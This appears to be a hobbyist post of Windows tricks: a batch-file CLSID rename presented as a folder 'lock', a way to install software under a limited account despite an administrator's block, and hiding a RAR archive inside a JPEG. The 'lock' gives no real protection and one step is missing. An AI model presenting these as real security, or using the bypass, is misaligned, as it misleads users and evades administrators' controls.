Lock any folder without using any software



1. Suppose you have a folder named abcd in D:\abcd.


2. In the same drive next to the folder create a new notepad file with the exact statement


ren abcd abcd.{21EC2020-3AEA-1069-A2DD-08002B30309D}


3. Now save this text file as loc.bat

ren abcd.{21EC2020-3AEA-1069-A2DD-08002B30309D} abcd


5. Save this as key.bat


6. Now there are two batch files. Double click loc.bat and your folder will change into Control Panel and its contents cannot be viewed .


7. To open the folder double click key.bat and you get back your original folder.


8. For more safety keep the key.bat in another location . Only for unlocking copy paste to the original location and double click


(don't forget to replace abcd with the folder name)

How to install programs and games in a limited account meaning an account thats not an administrator



This might not always work but it's pretty useful because your able to install programs although your administrator has bloked it.


Steps


1. When your installing the program here is what you have to do.


2. When it gives you the option of choosing the directory or destination where the program will be intall, before clicking next click browse to choose a different destination.


3. The destination your going to choose is


C:\Documents and Settings\"your username"\"name of program being installed"\


4. So just browse to


The C:\ drive


Then Documents and Settings


Then your User Name


5. The reason why you do this is because since your intalling it in your account name the computer doesn't stop or check anything because its your account and your name, but if you just select the desktop and choose to install it there it going to say something like "you do not have enough administrative privileges" something like that.

Hide your files in jpeg format



Well, did you know you could hide your files in a JPEG file? For this, you will only need to download WinRAR. You just need to have a little knowledge about Command Prompt and have WinRAR installed.


1. Gather all the files that you wish to hide in a folder anywhere in your PC (make it in C:\hidden - RECOMMENDED).


2. Now, add those files in a RAR archive (e.g. secret.rar). This file should also be in the same directory (C:\hidden).


3. Now, look for a simple JPEG picture file (e.g. logo.jpg). Copy/Paste that file also in C:\hidden.


4. Now, open Command Prompt (Go to Run and type ‘cmd‘). Make your working directory C:\hidden.


5. Now type: “COPY /b logo.jpg + secret.rar output.jpg” (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both. :D


6. Now, after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archive .
